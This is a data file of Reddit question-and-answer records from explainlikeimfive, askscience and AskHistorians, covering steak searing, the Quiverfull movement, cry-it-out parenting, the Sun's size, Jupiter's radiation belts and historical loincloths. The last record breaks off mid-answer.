{"q_id": "31wxo9", "title": "why do chefs sear a steak, then finish off in the oven?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/31wxo9/eli5_why_do_chefs_sear_a_steak_then_finish_off_in/", "answers": {"a_id": ["cq5qgep", "cq5qghs", "cq5qkje", "cq61gge"], "score": [40, 15, 3, 2], "text": ["The Maillard Reaction - which is what happens when you sear/brown food, and creates that that roasted flavor.  You can't sear the entire piece of meat to the right temperature, it will ruin the outside while the inside warms, and you can't just warm the inside because you'll never get a hot enough temperature to get that seared flavor.  So you sear the outside, get those flavors, and then cook the rest to temperature in the oven.", "Though searing it will often provide a delicious texture, it's hard to adequately heat the steak all the way through, so if you wanted anything besides \"rare,\" you would have to finish it off in the oven to cook it evenly.", "It's been generally believed that cooking the outside at a high temperature will create a barrier that seals in liquid from the steak. This is not based on hard science, though. A while back on Good Eats I saw Alton Brown basically show that this is an old wives tale and doesn't really work.  Here it is. Sorry about the 30 second ad.\n\n_URL_0_\n\nEdit: Caramelizing the outside for taste might be a benefit, however, as others point out.", "Crispy bits taste good. Meat that isn't cooked at all tastes bad. (Even you super-rare people like it to be warmer than room temperature.)\n\nWhen the crispy outside meat is done, the inside isn't, because at high heat there isn't enough time for the heat to make it to the middle. And you need high heat to make crispies.\n\nSo you have to cook it through and crisp it in steps. You crisp it then cook it because it's hard to get that crisp on something that's already partially cooked."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.foodnetwork.com/videos/to-sear-or-not-to-sear-98517.html"], []]}
{"q_id": "2h31pq", "title": "the \"quiverfull\" movement among some christian families", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2h31pq/eli5_the_quiverfull_movement_among_some_christian/", "answers": {"a_id": ["ckox5yh", "ckox67z", "ckoys8x", "ckoztu8"], "score": [3, 3, 38, 3], "text": ["They have lots of kids. Anti birth control, and pro-havingasmanykidsasyoucan. \n  \nLots of religions have some aspect that promotes making lots more people, like the Catholics ban on birth control, for example. They often have a positive effect on the numbers of that religion in the long term, as those religions simply have far more kids, who have a greater chance of growing up in that religion too. ", "Because children are considered blessings in the Bible, the people in these movement interpret that to mean that they should not interfere with the process of concieving children at all. Obviously, this excludes any kind of abortion. They usually choose not to use birth control (hormonal and barrier) either. Most of them would be willing to use BC if the health of the mother was in jeopardy. Some would not even consider natural family planning, which is using abstinence during fertile times of the woman's menstrual cycle. However, this isn't just in favor of having as many children as possible. Infertile quiverfull people would not support using artificial insemination, in vitro fertilization, or other methods of conceiving children either. They would see the blessing of children being on God's terms and not their own.\n\nEdit: this is the particular verse \n\n >  Children are a heritage from the Lord,\n    offspring a reward from him.\n\n >   Like arrows in the hands of a warrior\n    are children born in one\u2019s youth.\n\n >   Blessed is the man\n    whose quiver is full of them. (Psalm 127)", "I grew up with a Quiverfull family for most of my childhood, so I have lots of first-hand experience here.\n\nQuiverfull is term to describe a conservative Christian movement that primarily involves having as many children as possible, literally to the point where one's uterus falls out. (Yes, that does actually happen.) \n\nQuiverfull revolves around the idea that truly godly families will trust the Lord Almighty with their family planning. Abortion is, of course, completely off the table. But things like the pill are seen as \"chemical abortions.\" Our parents and pastors all taught us that when a woman was on birth control,  there were thousands of tiny dead infants in her uterus. \n\nHowever, the dislike of birth control is not, by any means, the only aspect of being Quiverfull (which is mostly rejected as a label by people we'd describe as Quiverfull). It's not even the most important aspect. \n\nQuiverfull also tends to involve some mix of home education, extremely modest dress (I grew up covering my elbows, my head and wearing ankle-length skirts), the practise of \"courting\" (semi-arranged marriages worked out by a young man and a girl's father), and something called \"Christian patriarchy\", wherein the father is viewed as the head of the family. His wife must obey him in every aspect, and his daughters should not move out until he has chosen a suitable husband for them.\n\nQuiverfull children are typically educated either at home or at a school run by their church (typically Independent Fundamentalist Baptist, although many denominations may have Quiverfull members). The books most commonly used are Accelerated Christian Education, Abeka Book and BJUPress. (I've used them all). \n\nAll of these textbooks teach extreme Young-Earth Creationism (including the idea that dinosaurs breathed fire). Many also teach that slavery, apartheid and the Trail of Tears were good things, that no transitional fossils have ever been found, that dinosaurs aren't extinct (and the Loch Ness Monster is one), that the KKK were totally the good guys, etc. \n\nChristian patriarchy (which is practised by virtually everyone in the Quiverfull movement) is the idea that God designed the father to be the spiritual head of his family. He is primarily responsible for the wife\u2019s and children\u2019s physical, emotional and spiritual well-being. With this responsibility comes divinely granted authority, and his wife and children are expected to obey him without question. \n\nHis authority over his daughters extends to his choosing her husband. This is done through courting or betrothal. Each family does the courtship/betrothal thing differently. Typically, if a young man is interested in a girl, usually someone from his church, he will consult with his father who then approaches the father of the girl in question to discuss the possibility of a potential match. If the girl\u2019s father is in agreement, he will then talk to his daughter. Provided she does not object, we then enter stage Courting, or a betrothal is arranged. While they are courting the couple are never to be alone, and they exchange their first kiss at the alter. A courtship is typically brief, lasting two to five months. A betrothal is sometimes longer, as it tends to be arranged earlier, but not always. Breaking a betrothal is sometimes viewed as the equivalent of divorce. At the time of marriage, the father's \"ownership\" or authority over of the girl is transferred to her husband. \n\nA wife is created to be the \"helpmeet\" of her husband. Typically she would not work outside the home if at all possible. She would obey him in every matter without question, and should never express unhappiness with him. Her primary duty is to be a homemaker and serve her husband in every way. \n\nA girl or woman whose clothing is considered \"immodest\" is guilty of what is usually referred to as \"defrauding\" her Christian brother, by tempting him with impure thoughts in relation to a body which is not rightfully his to possess. Quiverfull females usually wear only skirts or dresses which cover their knees. Some cover their elbows and up to their necks as well. \"Headcoverings\" are very common. I wore one, in the form of a bandana-like headband. \n\nChildren are viewed as being born little bundles of sin, and this is seen as something that must be beaten out of them by their parents so as to save their souls. Most of the QF people I know used Michael Pearl's To Train Up a Child. Yes, the one that teaches you to hit kids with lengths of piping until they are \"totally broken.\" (his wife, Debi Pearl, wrote a book called Created to Be His Helpmeet, which is also extremely popular in QF circles)\n\nQuiverfull families also tend to hate the government, view the End Times as just around the corner, not have TVs, not allow their children to use the internet unmonitored, not allow their children to ever have a facial expression that is not a smile, be skeptical of modern medicine, etc. It is also common for older girls (ten or up) in large Quiverfull families to be primarily responsible for raising and educating at least one sibling.\n\nOf course, there are some Quiverfull families who don't homeschool, or who allowed their daughters to wear pants, or use mainstream medicine, etc. It's not a denomination, there's no statement of faith. \n\nNo Longer Quivering and Homeschoolers Anonymous have more information.", "The main tenets are:\n\n* birth control, including even abstinence within marriage, is wrong\n* woman should be mothers and homemakers\n* by having as many children as possible, you are able to grow the community of people who share your values, outgrowing groups who do not share your values"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3yg8nc", "title": "why did old cartoons not show the faces of adults?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3yg8nc/eli5_why_did_old_cartoons_not_show_the_faces_of/", "answers": {"a_id": ["cyd7i9d", "cyd7kcf"], "score": [24, 52], "text": ["Cartoon were intended for children. So adults were not generally seen so kids could realate more", "Certain cartoons like Peanuts, the Charlie Brown cartoon clearly did this on purpose to show how foreign the world of adults is to children. They even had unintelligible voices when they spoke"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "u24gd", "title": "How can I as a layperson get better at judging whether a scientist is \ntrustworthy?", "selftext": "What parameters are important when judging a scientist's trustworhiness? \n\nThere may be a better word than trustworthiness. By trustworthiness I mean what it says in the first two lines of the Wikipedia article:\n\n\"Trustworthiness is a moral value considered to be a virtue. A trustworthy person is someone in whom you can place your trust and rest assured that the trust will not be betrayed.\"\n\nPeace out. Amazing forum!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/u24gd/how_can_i_as_a_layperson_get_better_at_judging/", "answers": {"a_id": ["c4ro58o", "c4ro66b", "c4ro98b", "c4ro9h4", "c4robkb", "c4rqb3d", "c4rqe47", "c4rt7ti", "c4ru6j7"], "score": [29, 2, 10, 6, 2, 6, 2, 2, 3], "text": ["1. Are they an actual research scientist? Put their name into Google Scholar. They should have many publications including some that have been cited dozens or hundreds of times.\n\n2. Are they actually talking about their field of expertise? A nuclear physicist is not trustworthy when talking about disease resistance.\n\nThere are exceptions, and other things to take into account, but those are the main things.", "Basically scientists know individuals can't be trusted and that individuals can't be trusted to judge the ability of other individuals to be trusted.  Therefore they have peer reviewed journals where research is published and reviewed by the whole community to make sure it is up to snuff.\n\nThe problem is when private studies commissioned by governments and companies are downplayed if they don't find what they want and promoted vigorously if they are good news.\n\nThe best advice that can be given when trusting self declared experts is the more \"sure\" they are about their claim the more likely they have no idea what they are talking about...and interestingly the more likely they are to get recognition and air time in mass media.", "I hope the OP and /r/askscience will forgive me if I post a link to this canonical, if nonacademic, text on the subject.  [The crackpot index](_URL_0_)", "That sounds pretty nonspecific towards scientists - just use whatever standards you normally use to gauge trustworthiness.\n\nIf you're looking to gain insight into determining the validity of a statement a scientist made, there are a number of things you can look at:\n\n1) Easiest is prestige.  This doesn't always hold true (there are good scientists at less well-known institutions and vice versa), but it's a good start that if someone is coming from a well known and respected organization, or is published in a high impact factor and well reviewed journal, then what they say is more likely to be accurate.\n\n2) Related to prestige: personal achievements.  It's one thing to be a NIH researcher; it's another to have been one for 20 years with dozens of highly-cited publications.  You can get a sense of how impactful they are in their field.\n\n3) Obfuscation.  This is tricky, because science often necessitates a jargony language that is hard for laypeople to understand.  But if a scientist is speaking on an issue that is relevant for a layperson, then that scientist should make every effort to be accessible.  If that's not the case, then you either have someone trying to talk around the truth, or just a very poor communicator (unfortunately, a lot of these exist in the sciences).  \n\n4) Common sense.  Even as a layperson, you have years of experience in the world that you can apply towards the situation.  Is what the scientist is saying reasonable, given your current knowledge?  Are there other independent people backing up those statements?  Is there an obvious motive to be untruthful?  Even though oftentimes 'common sense' applies poorly to science, it is still a valuable checkpoint to cross.\n\n5) Use other resources.  Exactly what you're doing now.  I'm sure you know people who have more scientific background who may be able to help you out.  If not, there's always the internet (though you'd have to apply steps 1-4 to everything again, so perhaps this isn't the most efficient solution).\n\nWhen in doubt, I think a healthy dose of skepticism is in order.  If what the scientist is saying is true, then he or she should welcome the opportunity to demonstrate that knowledge with others, and thus should welcome (reasonable) skepticism.  ", " >  How can I as a layperson get better at judging whether a scientist is trustworthy?\n\nTrust, but verify. Make it a healthy habit. :)", "One thing to be very careful of is popular science websites. These websites basically take new research articles in scientific journals and 'translate' them into plain language for the public.\n\nThe problem is that these websites assume that because a study was published in a peer-reviewed journal, it must be accurate and reflect the views of all scientists in the field. You will very often see language like 'Scientists have discovered...', even when the study is extremely controversial and ignored by most in the field. When scientists see a new journal article that is clearly bogus, the only way to respond is by publishing a 'comment' about that article in the same journal. So if you look at publications from a scientist that have lots of comments published about them, that is a red flag. ", "I would recommend reading [this article](_URL_0_) about \"psuedo-science\". It basically lays out some tests which can be used to determine whether the true scientific method is being employed.", "What an awesome question.  I always rely on the old economics idea that complexity is fraud.  I realize that when browsing primary literature is not a straight forward process but in every reported experiment or study its critical to know what the study had as its initial aims, the method, the results and a conclusion supported by the data.  If these things aren't readily deducible then start your skeptical engine.  \n\nOften times a paper will use obfuscating statistical tricks to claim significance when there is infact none.  Dubious papers will hide behind lots of formulas and overly complex indexing and normalizing schemes to justify the conclusion; hence complexity is fraud.  This isn't to say that if the math is hard it must be bad, but rather be careful when statistical tools you've never heard of start appearing. \n\nIn virtually every study there are data points that get excluded, be it a patient, a flawed run, a botched script or what have you, the next place to hide bd science is behind excluded info.  Its critical to figure out if they padded their results by cropping outliers or if they legitimately explain these things away.  A classic example is when they survey a huge demographic, but only report on two narrow age ranges.   IE out of 1000 people surveyed ages 2-100 it was found that 2 year olds were 5 times more likely to develop x disease than 43-45 year olds.   It may be true, but there is a lot of information that they aren't reporting on, so you are obligated to ask \"where did it go?\"\n\nThe next import thing to think about in determining reliability is to read tons of the stuff; you start to get a feel very quickly how sound the work is after your 7000th, but by that point you've probably gotten through your graduate studies.\n", "Good scientists do not sensationalize, exaggerate, or skip through assumptions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://math.ucr.edu/home/baez/crackpot.html"], [], [], [], ["http://en.wikipedia.org/wiki/Pseudoscience"], [], []]}
{"q_id": "3ci7ed", "title": "Is the Sun shrinking?", "selftext": "So my Uncle brought up that the sun is shrinking to me today. I got curious and started looking around on the internet with the search of \"the sun is getting smaller.\" \n\nFor reference to the 3 pages i looked at:\n\n_URL_2_ (says the sun is getting smaller)\n\n_URL_0_ (i cant really make heads or tails on what the outcome is)\n\n_URL_1_ (and one that says its not getting smaller but expanding)\n\n**The first paper** describes that the sun is shrinking by about 2.5 feet per hour, 5 ft of the solar diameter at 0.1% per century. It also goes to state that at 20 million B.C. the earth is engulfed in the sun and at 100 thousand B.C. the sun would be double its current size meaning life has been around alot less than we are taught.\n\n**The 2nd** seems to explain the first ones thinking and at the end that it says the first one is not correct.\n\n**The 3rd** one plainly says the sun is not getting smaller but is in fact expanding and contracting significantly.\n\n**So my question is as stated:**\n\nIs the sun getting smaller? And if that's not the case, do we know if it is changing? If the sun was much bigger in the past, couldn't it been possibly theorized that our solar system was in fact expanded much farther than it was today to justify our teachings of being 4.6 billion years old? meaning the sun was much bigger but we were also a lot farther away than we are now and as the sun shrunk, we also moved with it very steadily to where the earth and other planets are presently.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3ci7ed/is_the_sun_shrinking/", "answers": {"a_id": ["csw5030"], "score": [5], "text": [" >  Is the Sun shrinking? \n\nHi, \n\nthe answer is no, the sun is not shrinking. Ans yes, the sun is indeed getting bigger over time, but not noticeably in a humans life, because stellar evolution for stars such as our sun takes place over billions of years. \n\nAs the 2nd site states, the sun is fusing hydrogen to helium, converting a tiny amount of mass into electromagnetic energy, i.e. light particles (photons), because the helium core is a tiny bit lighter than the 4 protons it was formed with. \n\nHelium is denser than hydrogen and as the sun keeps fusing, more and more helium gathers at the core, thus increasing the density of that core as well. Note that fusion in a main sequence stars only happens in the core region and that increased density also increases the fusion rate. \n\nThis leads to an ever increasing fusion rate and therefore a higher radiation pressure. Stars are in an equilibrium between inward gravitational pull and outward radiation pressure, and since the mass and therefore the gravitational pull is not increasing over time, the increased radiation pressure eventually results in  the expansion of the star. \n\nEventually, sunlike stars will leave the main sequence, when hydrogen fusion at their cores stops and is replaced by the helium fusion. This kind of fusion goes along with a dramatic increase in density and energy output and the star will enter its giant phase. As the name suggests, this will result in a huge star with tremendous energy output, but also in a cooler surface temperature, as the surface is much further away from the core region due to the expansion.\n\nI hope, that helped. \n\n[Stellar evolution in the Wikipedia](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["http://solar-center.stanford.edu/FAQ/Qshrink.html", "http://www.tim-thompson.com/resp8.html", "http://www.icr.org/article/sun-shrinking/"], "answers_urls": [["https://en.wikipedia.org/wiki/Stellar_evolution"]]}
{"q_id": "9mi698", "title": "why is it in some cultures usual to sit on the floor and in others to sit above the ground eg on a chair?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9mi698/eli5_why_is_it_in_some_cultures_usual_to_sit_on/", "answers": {"a_id": ["e7ew1vr", "e7eznq6", "e7f4bhz", "e7f4ja1"], "score": [503, 70, 3, 3], "text": ["Some places that sit on the floor don't have large supplies of wood to make chairs.  \n\nSome places used to be nomadic, so a carpet and cushions were much easier to move than rigid chairs.  When they stopped being nomadic, that was the custom, so why change.  \n\nSome places only the wealthy had wooden furniture, so sitting on the ground was the only option.\n\nSome places, chairs were seen to elevate the food above the floor, which was considered dirty. \n\nSome places, custom dictates removing your shoes before entering a home, so the floors are not nearly as dirty.  \n\nThere are many reasons; the ones I've given are just some of them.  ", "It can vary - in England, people used to sit (and sleep) on the floor since most abodes had an open fire so being close to the floor meant being far from the smoke.  Once fireplaces with chimneys became a thing, people then began sitting in chairs more since having chimneys also resulted in having drafts at floor level, which made sitting and sleeping there uncomfortable.", "- Climate.\n- Material culture (available materials and sociality around them).\n- Built environment (public vs private space).\n- Customs.\n\nLook at\n1. (historically) nomadic cultures:\nMongols / Eurasia / Central Asia /\nBedouins /\nNative Americans \n\n2. Maritime / seafaring cultures:\nJapan /\nMalayo-Polynesia \n\n3. Cultures that combine both sitting on the ground and chairs:\nJapan /\nMalayo-Polynesia /\nMongols / Eurasia / Central Asia /\nTurkic \n\nIt\u2019s gotta be bloody warm for sitting on the floor to be comfortable. Otherwise, you have to sit on thick rugs or chairs. If you use thick rugs to sit on, that means you belong to a culture where it\u2019s cold but you need to scoot in a hurry on your horse\u2019s back.\n\nHope that explains.", "It used to be very difficult for the cultures who sat on the floor to vacuum. They'd need someone to move over and that person would end up dragging some dirt into the already cleaned spot. \n\nChairs were invented so you'd only have to lift your feet for the vacuum. \n\nIt was another 30 years before the dinner table was invented. People would sit in the chair and get down to eat a bite then climb back up. Up down up down, all dinner long. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "qox4a", "title": "Is there any scientific evidence that crying babies out has a long-lasting effect on their personality?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qox4a/is_there_any_scientific_evidence_that_crying/", "answers": {"a_id": ["c3z9skr", "c3zba5n", "c3zc03d", "c3zc6tz", "c3zcfhd", "c3zclck", "c3zcnka"], "score": [19, 11, 17, 34, 4, 2, 3], "text": ["There have been studies done on parenting in different countries (Germany, the US, etc), summaries [here] (_URL_0_) and [here] (_URL_1_), comparing things like how common it was for parents to let babies 'cry it out.'  The effects are measurable, but I think it's frankly a judgement call if those effects are 'good' or 'bad.'  (American researchers tend to say 'bad,' but that may be cultural bias as much as anything.)", "what is crying babies out?", "The answer to your question is \"Yes\" there are studies linking CIO to long-term effects. However, the issue is muddled because there are studies that also so \"no\" there are no long-last effects. And the other side of the coin is that there are studies indicated that a prolonged maternal response to crying can also have long-term negative effects. \n\nThis post on Google Answers is one of the best you'll see on the issue.\nIt links and references mulitple peer-reviewed journal articles discussing the complexities of the situation.\n\n_URL_0_\n\nThe arthur's final conclusion is:\n\n\"There are studies which prove that the extinction method makes a baby\nhappier, with more rest, and does not create an attachment disorder. \nThis is despite the many websites that proliferate on the attachment\nmethod and saying that the Ferber method has been proven wrong by\nstudies. I never saw one conclusive study that was put forth by any of\nthese sites and most are simply based on either pseudoscience or on a\nfalse premise-- the idea that Ferberization results in more crying,\nwhen studies show that it results in less crying in the long run. \nMany of these sites promote the idea that extinction is bad for a\nbaby's health because crying, trauma and stress prevent the baby's\nbrain from proper development. However, it is actually the attachment\nmethod which causes babies to cry the most and from which they would\nexperience these symptoms of improper brain development. I would try\nthe extinction method if you can and see if it makes your family's\nlives better. If it doesn't work, you can try the attachment method.\"\n\n", "The trouble with this terminology is that it's too vague: two people can say that they let their baby cry and mean two totally different things.\n\n'Cry it out' may refer to the Ferber method, which provides an actual framework and *method* for teaching your baby to fall asleep by themselves. (See: _URL_0_ for a bullet point review of the Ferber method).\n\nAlternative techniques for teaching your child the same thing in a different way are available, e.g., 'The No Cry Sleep Solution' (which is actually a modular collection of techniques).\n\nWhat does a child whose cries are not answered learn? That their cries will not be answered. In other words, that the world (and their parents) are not responsive to their needs and desires. Whether this prompts them to become more active in fulfilling their own needs or teaches them that their needs will never be fulfilled no matter what they do will depend on other factors.\n\nWhat does a child whose cries are reinforced by parental attention learn? That their cries are reinforced by parental attention. Whether this leads them to be histrionic codependent wretches or provides them with a secure base from which to venture forth will... depend on other factors.", "There is no hard, accepted, scientific evidence that links parenting styles during infancy to later personality traits.\n\nHowever, the crying it out (CIO) method, specifically, is anthropologically ridiculous. First of all, people like Ferber, Weissbluth, Sears, and Spock, do not back up their claims with research, they use anecdotal evidence as pediatricians and do not cite relevant scientific evidence in their books.\n\nThe CIO method makes the assumption that people who are using the method are not co-sleeping (co-sleeping is when the mother sleeps with the baby in the same bed), which, again, is fucking ridiculous. In a large majority of cultures even now, after western influence has set in, co-sleeping is the norm. Evolutionarily, it is the norm. In cultures where co-sleeping is the norm, the rate of SIDS is ~~0~~ very close to 0. So, because these two methods are so intrinsically linked (you cannot practice CIO when you sleep with your child, because you are already with your child throughout the night), there is not only scientific evidence against the use of this method, but evidence to the effect that it is harmful to your baby in the present, one way or another.\n\nMost of all, it just simply does not make *sense*. The pediatricians I mentioned above advise mothers to go against one of the strongest instincts a mother can have- to be with her child when it needs her.\n\n[James McKenna does fantastic cross-cultural research on the subject](_URL_0_)\n\n", "Think about it in the context of evolution:  way back in the day at least one parent would pretty much always be sleeping next to your newborn and would likely comfort them immediately.  In fact, this may have been necessary due to nocturnal predators (quiet baby!).  The concept of putting the child in another room is, evolutionarily, a VERY recent behavioral modification.  Babies cry for legitimate physical and emotional reasons.  If they are crying because they are hungry, well, it's because they NEED food.  If they are crying because they need soothing, well guess what, they NEED soothing.  There are plenty of years left to make them completely independent.  Everyone told me that I couldn't hold my baby as much as she wanted, but you know what, I did.  Now she is a supremely independent person.  I don't know if that's the reason, but I figured why withhold physical support (and therefore potentially introduce a limiting factor in their development) when a baby doesn't have any ability to understand why you are withholding that support.  Finally, I have not read any studies that could definitively trace 'crying it out' or, alternatively, 'too much soothing' to later behavioral pathology.", "Wow the method i used to raise both my children has a name.  \n\nIf my opinion counts there is no effects of the Ferber method on my children.  I didnt completly ignore them.  If they kept it going for several minutes i would check on them calm them down and then leave the room (usually to stand outside door because i am a Neurotic parent).  I can only remember a few nights where they kept it going.  As long i knew they were dry, fed, not sick etc.  Crying at bedtime was for attention only.  Ignoring them helped reinforce a bed time schedule.  \n\nMy friends that have kids are amazed when i tell both my kids bed time and they are eager to go, just limited to some whining and stall tactics but never a fight to get them into bed like i see some people that coddled there kids all the time have.\n\nIf anything they have developed a good schedule and at ages 2 and 5 we have no problem saying bed time and them going to bed.  They are both extremely happy children that are developing great both socially and educationally."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.attachmentacrosscultures.org/research/", "http://www.parentingscience.com/strange-situation.html"], [], ["http://answers.google.com/answers/threadview/id/774928.html"], ["http://www.parentinghq.com/ferber-method-reviewed/395/"], ["http://www.ncbi.nlm.nih.gov/pubmed/8506461"], [], []]}
{"q_id": "4tjl03", "title": "Will/have Juno given us any information about the source of jupiters radiation?", "selftext": "This has been something i have been thinking on, and i am really interested.\n\nDo we know anything about the source of jupiters radiation, where does it come from, and will Juno give us clues as to what is actually going on?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4tjl03/willhave_juno_given_us_any_information_about_the/", "answers": {"a_id": ["d5iujgs"], "score": [3], "text": ["We already know where it comes from. It's not emitted by Jupiter itself, but exists in radiation belts around the planet. The belts are formed from charged particles from the solar wind that got trapped inside Jupiter's magnetic field, along with cosmic rays and material stripped from its moons. The other planets have them too, apart from Mars and Venus - you just rarely hear about theirs, except for Earth's (which are called the Van Allen belts, and are important if you're working with satellites), probably because Jupiter's are the strongest of the lot.\n\nJupiter's magnetosphere also includes a plasma torus, which is mostly formed from sulphur dioxide that gets ejected from Io's volcanoes and becomes ionised by interactions with solar radiation. Europa also adds to it, but its contribution is pretty small."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ctj5cu", "title": "why does it seem like i constantly see articles about new health benefits of medicines derived from the cannabis plant? is the plant unique in having so many different beneficial compounds, or is a lot of this just hype as early research is performed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ctj5cu/eli5_why_does_it_seem_like_i_constantly_see/", "answers": {"a_id": ["exl3jg8", "exl3mc2", "exlb5em", "exlbxeq", "exlm3nh"], "score": [5, 3, 21, 2, 2], "text": ["As a schedule 1 drug there has been limited (nearly no) scientific studies done on cannabis. So everything, aside from anecdotal, is new.", "I recently delved into a bit of research on cbd and will comment on that compound only.\n\nAccording to 2 reports I read the first by harvard medical and the 2nd from mayo clinic the only fda approved and clinically tested use of cbd is to treat siezures in children with epilepsy. There has been clinical testing that shows a reduction in such siezures compared to a control group. \nBoth reports stated that any other claims made by sellers of the compound are speculative at best and have no data to back them up. This is one reason why you see an inflated price for cbd based products which claim to reduce anxiety, pain, and help with sleep. \n\nCbd is in a medical gray area at the moment and sellers are taking advantage of this making wild claims and selling at high prices to take advantage of anyone who doesnt do their own research. \n\nI recently came across a 100ml bottle of cbd oil which according to the label is intended to reduce anxiety in cats for a whopping 185.00 USD. This is a blatant scam so be sure you do your research before buying this stuff!", "Short answer is: we don't really know yet. There hasn't been enough legitimate research.\n\nA lot of it *currently* is probably hype. For instance, if one study finds that it *might* have a *tiny* benefit in \\[insert condition here\\], it will be reported and played up.\n\nHowever, since it is is still a schedule I drug, it is extremely hard to get permission to do research on it, so there's not a lot of consensus (or quality studies) on most aspects of it. Yet. As it moves into a more publicly accessible area, we will start to see what effects are actually significant and which are just anecdotal/unproven/placebo effect.\n\nAll of this to say, most of the benefits don't necessarily not exist, but they haven't been thoroughly proven, either. Until enough research has been done, you pretty much have to base your decisions on anecdotal suggestions and your own judgement.", "Tough to say at this point. \n\nPart of the issue is the lack of real studies done in the US, but other foreign studies show promise in a lot of areas. \n\nThe other issue is that our understanding of the human endocannabinoid system is just in its infancy. We are rapidly gaining understanding of it, but it's still going to take a lot more research to suss out all the details. \n\nThere is also a lot of hype out there as well. People conflating stories about how cannabis helped cancer patients tolerate chemotherapy with cannabis curing their cancer... That kind of thing.", "I used it for glaucoma and man did it help with not caring about the pain, better than pills imho"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3udhtt", "title": "Loincloths, they are a common caricature of stone-age 'primitive' civilizations and societies. Where did this caricature come from? To what extent is it accurate?", "selftext": "We've all seen the caricature of the 'violent native' wearing no shoes, shirt, pants, sandals, or any vestment other than conveniently placed cloth covering breasts and genitals. \n\nThe societies depicted in these garments are usually presumed to be from central and south america, carribean, africa, the pacific islands, and sometimes some european islands. \n\nIt seems extremely impractical not to wear something like a shoe or sandal even in hot climates, and I would be astounded if people living in forests and jungles, where you can easily get an infection or walk over something poisonous, if you're going about it barefoot. \n\nFor another if a society really does feel good nude most of the year why bother covering their junk? It seems convenient for television and film but it doesn't make much logical sense. \n\nIs it a seasonal thing? Do they put on more garments for work like hunting or war?\n\nIf this is even true which societies wore this loincloth uniform? Did any at all?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3udhtt/loincloths_they_are_a_common_caricature_of/", "answers": {"a_id": ["cxe9nfr", "cxeaajp", "cxekphf", "cxessun", "cxesyau"], "score": [52, 24, 3, 3, 2], "text": ["This is perhaps more an anthropology question but i can at least answer part of the history aspect.\n\n* Did any at all?\n\nYes.\n\nVarious subgroups of the Naga people (NE India, NW Burma) wore loincloths as their main article of clothing as recently as 80 years ago, maybe sooner for some individuals. This is the reason some among the British took to calling them the Naked Nagas. This had been what they wore as far back as oral history can tell. Only about a generation or two before the present, people started adopting the lungi, a sort of long skirt worn by other groups in the region, and then of course pants.\n\nNow on to why. Other than the fact that it gets cold in the mountains, for some groups within the Naga there were VERY strong sexual taboos. One cultural practice of some of these Naga subgroups was a courtship song where you boast about your manliness to the dorm (for lack of better word) where the young women of other clans were living. Clans are familial divisions within a given subtribe (not my term). But there was to be no temptation between members within a clan. Even if a guy and girl are only related by a common ancestor so many generations back that they cant even count anymore, it was forbidden for a woman in the same clan as the singer hear the song. This taboo continues today even though the songs are essentially dead now.\n\nBeing totally naked would have been fine for little kids as is it today, but for adults, a very broad incest taboo wouldn't allow for it.\n\nThat said it was/is not quite as restrictive as some western protestant cultures. And there were some groups who were actually naked, skipping the loincloth. Quoting from Hutton, J H *The Sema Nagas*, published 1921:\n\n > The Semas who went on the Chinglong expedition in 1913 then saw naked tribes for the first time; the coolies, catching sight of a string of naked Konyaks coming towards them, put down their loads and burst into fits of uncontrollable laughter at this sight of men who, though hardly less naked than they were, wore no three -inch flap.\n\n(Konyaks are another Naga subgroup)\n\n* Is it a seasonal thing?\n\nNo.\n\nFor this I can only speak to the more recent past. At night in the winter it gets cold in the area at night. Not frost cold but cold. But it wasn't a seasonal thing. You sleep by the hearth at night, and during the day you just deal. There are cotton trees in the region (not the same plant cotton as you know it comes from) but it's not something that had been industrialised in these communities, and spinning thread and weaving are very time consuming (such that today most people who weave just buy industrial thread imported to the area), so you're not going to see enough fabric to fully clothe everyone when culturally that's just not a requirement.", "I suspect that this is going to vary immensely depending on where and when and what particular groups you look at, but I can at least give you a partial answer pertaining to the M\u0101ori of New Zealand.\n\nTraditional dress for M\u0101ori consisted of [skirts](_URL_2_) and [cloaks](_URL_1_). Modern 'traditional' M\u0101ori garb for women is closer to a [dress](_URL_0_), and covers the breasts, but to the best of my knowledge this is a modern convention based on modern concepts of modesty. Apparently, one of the most common pieces of clothing among men and women was the [maro](_URL_3_), which is pretty much exactly a loincloth.\n\nThere is a story about early European explorers coming across a group of native women who were gathering shellfish from the shore, completely nude. When the women noticed the male explorers, they hid behind rocks until they could fashion skirts that covered their groin out of seaweed. This would imply that nudity was considered completely fine among other women, but the groin (and not the breasts) should be covered in the presence of men (or perhaps strangers).\n\nClothing was an extremely important part of M\u0101ori culture. It, like all facets of M\u0101ori life, was tied into the complex concept of mana, a word with no direct English translation that can roughly be thought of as pride, honour, respect, and power, but on a spiritual and tangible level. Clothing was thought to able to add to or take away from a person's mana. When one chief was asked to give a speech, he apparently said \"He ao te rangi ka uhia a ma te huruhuru te manu ka rere ai (It requires clouds to clothe heaven and feathers to make a bird fly)\", which was taken to mean that he was improperly dressed to do something as important as give a speech.\n\nM\u0101ori would also wear ornate jewelry, made from precious stones, bones, wood, and feathers. Their hair was exceptionally important: so important that there 